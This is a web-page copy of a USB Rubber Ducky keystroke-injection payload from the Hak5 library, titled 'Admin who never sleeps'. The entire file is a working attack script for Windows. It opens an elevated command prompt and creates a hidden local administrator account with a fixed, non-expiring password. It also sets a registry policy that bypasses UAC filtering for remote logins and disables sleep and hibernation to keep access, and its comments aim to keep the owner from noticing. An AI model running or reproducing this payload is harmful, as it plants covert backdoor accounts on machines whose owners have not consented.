Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Admin_Who_Never_Sleeps/payload.txt
3018 views
1
REM Title: Admin who never sleeps
2
REM Desc: Adds a local hidden admin user and sets power settings to never sleep.
3
REM Author: UberGuidoZ
4
REM Target: Windows (local admin required)
5
6
REM Launch admin-level CMD prompt
7
DELAY 3000
8
GUI r
9
DELAY 1000
10
STRING cmd
11
DELAY 500
12
CTRL-SHIFT ENTER
13
DELAY 1000
14
LEFTARROW
15
DELAY 250
16
ENTER
17
DELAY 1500
18
19
REM Create local admin user WinSystem with pass Some-P@ssw0rd
20
STRING net user WinSystem Some-P@ssw0rd /add /fullname:"Windows System" /passwordchg:no && net localgroup administrators WinSystem /add
21
ENTER
22
DELAY 1500
23
24
REM Set WinSystem user pass to never expire, skip UAC, and hide the user
25
STRING wmic useraccount where name='WinSystem' set passwordexpires=false && REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 && REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /f /v WinSystem /t REG_DWORD /d 0
26
ENTER
27
DELAY 1500
28
29
REM Change power settings to avoid loss of access later (Hibernation, Standby, Disk Timeout)
30
31
STRING powercfg -h off && powercfg /x -hibernate-timeout-ac 0 && powercfg /x -hibernate-timeout-dc 0
32
ENTER
33
DELAY 1000
34
STRING Powercfg /x -standby-timeout-ac 0 && powercfg /x -standby-timeout-dc 0
35
ENTER
36
DELAY 1000
37
STRING powercfg /x -disk-timeout-ac 0 && powercfg /x -disk-timeout-dc 0
38
ENTER
39
DELAY 1000
40
41
REM Set monitor timeouts to avoid noticing system is awake
42
STRING powercfg /x -monitor-timeout-ac 10 && powercfg /x -monitor-timeout-dc 10
43
ENTER
44
DELAY 1000
45
46
REM Exit and enjoy your user whenever!
47
EXIT
48
49